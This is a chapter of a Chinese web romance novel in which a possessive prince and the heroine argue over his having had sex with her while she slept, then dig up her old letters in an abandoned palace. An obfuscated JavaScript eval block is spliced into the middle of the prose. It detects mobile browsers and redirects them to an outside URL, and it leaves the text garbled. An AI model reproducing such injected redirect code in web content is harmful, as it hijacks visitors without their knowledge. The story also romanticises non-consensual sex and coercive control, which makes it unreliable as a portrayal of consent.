23. 纸上谈兵
作品:《啊?换我被阴湿觊觎了?》 记忆淡去,情绪犹在。
顾榄之修长的指尖不断收着劲,直到林落迟受不住闷哼出声,他才回过神来。
他手腕一抖,急忙松开禁锢。
林落迟得了自由,怯生生道,“我给你回信了……”
“别再骗我了。”
顾榄之闭了闭眼,许久,他终于压下内心的翻涌。
再睁开时,琥珀色的眸子已经归于平静,他贴着她坐下,轻轻将她揽入怀抱,“落落,过去的事,我们一笔勾销,你已经是我的人了,与我成婚后,乖乖留在我身边,有什么难处,和我说,别独自承受,嗯?”
他在给她机会。
只要她说出芸姨娘的处境,只要她毫无保留地信任他,倚仗他,将他当成唯一的信仰。
只要她不再心系沈述。
那么刀山火海,他势必将她珍视的一切,完完整整地捧到她眼前!
放开她的肩膀,顾榄之伸出大掌,强势覆上她的粉腮,注视专注而饱含希冀,“落落,你可有难处?”
小女娘无助地咬了咬下唇,无声点头。
顾榄之一笑。
他的笑揉上了几分轻和,“什么难处,说来听听。”
她大胆地反握住他的掌心,“顾榄之,我其实不太懂什么是喜欢,但我喜欢和你亲近,见你蹙眉我会心神不宁,我……愿意和你试试,但你昨晚所为,有些……不合适。”
她斟酌着措辞,好用一种眼前人能接受的方式控诉他的罪行,“我……可以和你……那样,但前提是征得我同意,那件事,本应该情到浓处,水到渠成,而不是在我昏睡时……强行为之……”
顾榄之脸上的笑,一寸一寸,消失殆尽。
他显然耗尽了耐心。
他的唇畔再度噙上笑意,只不过,这份笑意,俨然已经不达眸底,“是我唐突了。”
指腹盖住她的唇珠,顾榄之细细描摹着,神色慵懒,“还有吗?”
林落迟微微退后些许,“有,你总是不听我解释,就像刚才,我说给你回信了,可是你不允许我继续说下去,还说什么过去的事一笔勾销,其实你自己心里比谁都清楚,不可能一笔勾销的,那些误会,只会扎根于内心,在未来的某一个瞬间因为某一件事莫名被牵动,挑起新的矛盾。”
顾榄之的手顿在半空,久久没有收回。
默了良久,他眉眼微垂,在如画的面容上投下违和的阴翳,“嗯,你说你回信了,可我并没有收到,落落,你要我信你,需拿出可信的证据,否则,一切都只是你的一面之词,明白吗?”
林落迟乖顺点头,“嗯,我有证据,还记得那个长着黄梅的废弃宫殿吗?你带我进宫,我跟你说证据在哪里。”
顾榄之闻言,饶有兴致地挑了挑眉,“行啊,今晚入夜,我带你旧地重游。”
他侧头,在她唇角轻轻一吻,“我有公务在身,就不陪你了,待会儿洗漱一下,好好吃饭,再不吃胖些,等到了凉州,怕是撑不起嫁衣。”
他笑得意味深长,语气却不容置喙。
征得她同意?
成婚后,他有的是精力和手段!
至于所谓的证据,他自然是不信的,这也是他为什么要等到入夜才带她入宫的缘由。
入宫前,他会派人将那座废弃的宫殿里里外外反反复复仔细检查一遍,不放过任何一处角落,什么人去过哪里,动了什么手脚,他都要了然于心。
他倒是想看看,沈述在建邺的爪牙能做到何种程度。
这一次,他势必要将其连根拔起!
顾榄之出了承安王府。
整整一日,他都未折回,只是在无人知晓的暗处,他的守卫早已布下天罗地网,只等谎言与算计,慢慢浮出水面。
几乎每隔一个时辰,暗卫便将所见所闻如实相告:“落姑娘一直在侍弄黄梅。”
他不死心,一直等到亥时。
终于,暗卫小跑而至,“落姑娘进了王爷的寝房。”
顾榄之猛地站起身,手中的茶盏随之落地,茶汤四溅,有几片香茗沾上脚尖。
可他来不及拂去。
他疯了似的折回王府,按下了所有的通报。
府中的侍女连连跪地,大气不敢出,只有寝房处未曾点亮的窗牖上,那抹看似孱弱的身影正忙碌着四处翻找。
顾榄之心跳加速,一步步靠近殿门。
吱呀……
房门被推开,他的脚步放得很轻。
今夜无月,寝房内更是伸手不见五指,顾榄之凭借习惯走到桌案处,亲手点燃了火折子。
那一瞬,跳动的火焰将他如玉的面容映衬得如鬼魅般骇人。
林落迟尖叫了一声,急忙将手中的东西藏到身后,“你……你进来时怎么没有声音?”
见到是他,她回过神,娇眸睨了他一眼,无心却撩拨。
顾榄之高大的身形拢起一片翳影,他缓步靠近,声音听不出喜怒,“不是说,今晚带你进宫吗?公务太多,一直忙到现在,落落,等急了吗?你在做什么?”
林落迟耸了耸肩,脸上的心虚一闪而逝,“哦,我……我想睡一会儿,又怕错过你回府,所以……所以就想睡在你寝房……”
“哦?”顾榄之挑眉,“看来,昨夜春宵,我的落落,竟还食髓知味了。”
他个子高,腿也长,三两步就行至她身前,眸中的潮意似要溢出眼眶,“现在等到我回府了,落落打算怎么做?是与我同塌而眠,还是……”
他掐住她的纤腰,用力带进怀抱。
她的衣衫本就孱薄,被他揉进掌心,顿时收做一团,其中藏了什么,很容易就能被发现。
果不其然,顾榄之摸到了可疑之物。
“拿了什么?”他的气息喷洒在她面门,潮湿中掺着些冷香。
不等林落迟挣扎,他一把夺过!
烛火遇见了热蜡,噼啪一声炸开响动,与此同时,顾榄之瞧见那物,面色一怔。
竟是他纸上谈兵的倚仗……
望着手中熟悉的话本子,他的双颊当即染上绯红。
话本子不算薄,厚厚一本全是图文,详细程度足以让人脸红心跳,其中一页被他折起,抢夺间,他看到了被他用笔墨圈住的细节:落红。
他也是从此处得知,女子初次会有血迹。
“我刚睡下,就从你榻上摸出了这个,我还没来得及看呢,是什么呀?”林落迟跳起来想抢,却被顾榄之后退着藏进衣襟。
“这是你的书吗?”林落迟好奇道,“顾榄之,没想到你这么用功,难怪你能一直打胜仗。”
顾榄之手掌虚虚握拳,置于唇边轻咳一声,“嗯,兵书都大同小异,你若想读,等回了凉州,我送你几本浅显易懂的。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351664|165556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“可我就想要这本。”她晃着他的衣袖撒着娇。
今天种了一天黄梅,一直没等到顾榄之回来,一直到了晚上,她简直直不起腰。
本打算边睡边等,可她又想到,自己总不能次次都在刚巧需要穿越到时候再去临时取物吧?
于是她计上心来,这才溜进了顾榄之的寝房。
可谁曾想,她找了半天,好不容易确定,这本书的气息足以支撑她两个时辰的穿越,还没来得及偷走,就被回房的顾榄之抓了个正着。
既然偷不到,那她只能明要了……
林落迟打定主意,伸手想去探顾榄之的衣襟,却被他侧身躲过。
他将书卷塞进一沓读物里,神色也恢复如常,“别管兵书了,不是要进宫吗?我都安排好了,去是不去?”
“去去去!”
林落迟拢了拢外杉,当即把收集气息一事抛之脑后。
月光藏在浓云后,四周一片静谧。
顾榄之可自由出入皇宫,他带着林落迟,十分低调且顺利地抵达昔日的废弃宫殿。
白日里顾榄之并未发现端倪,不管是废殿,还是他的府邸,都不见异样。
他开始好奇,身边的小女娘究竟会给他找来什么样的证据?
五年过去了,废殿一片萧条,曾经破土而出的野黄梅,也在次年彻底消亡,它终究没能如他期盼的那样,开出更绚丽的花朵。
“你知道吗?我被林凰衣赶出宫后,曾拜托蓝家姐姐将我写给你的信埋到此处,我想,你这么喜欢这里的黄梅,无事时,定会给它松松土,施施肥。”
林落迟将宫灯递到顾榄之手中,执起一旁生锈的铁锹开始挖掘,嘴上喋喋不休,“蓝家姐姐胆子小,这是她能为我做的最出格的事了,谁知道你后来对这里不闻不问了……”
正说着,只听“叮”的一声,铁锹铲碎了一个类似瓷器的东西。
她面色一喜,急忙示意顾榄之放低宫灯。
暖色宫灯拢起一团光亮,将土里的小花瓶悉数照亮。
其中一个已经碎裂,泛黄的宣纸随之显露,林落迟将其摊开,上面赫然画着一个可达鸭简笔画。
“哈哈哈哈哈……”
她笑得灿烂,细腰如刚抽条的柳枝,弯得一颤一颤的,“这么久了,没想到还没腐烂,顾榄之,你看,这幅画像不像生闷气的你?”
顾榄之屈膝蹲下,执起那片宣纸。
恰逢此时,月儿穿出浓云,皎洁的白随之倾洒而下。
他的眼底涌出一抹情愫,像是一部分月光钻了进去,盈盈溢满眼眶。
林落迟挨个敲碎花瓶,随意埋了碎瓷片后,将所有的画作小心翼翼地折起。
她回想着书中一笔带过的情节,轻车熟路地编起了故事,“只可惜,蓝家姐姐后来嫁去了岭南,你看,这是最后一次入宫时,我让她带给你的信,信上的意思是让你生辰那天悄悄来找我,我给你煮长寿面,我都跟阿娘学好了,可是你一直没出现……”
顾榄之一直垂眸盯着宣纸上的画作。
字迹久远,纸张老旧,一瞧就不是临时准备的。
心中的酸涩得以缓和,可他依旧清冷自持,就连女娘靠近时唇齿呵出的幽香,也没能让他眸中的粼光有丝毫晃动。
他一语道破逻辑中的漏洞,“这些信,当初你为什么不直接交给谢韫玉?”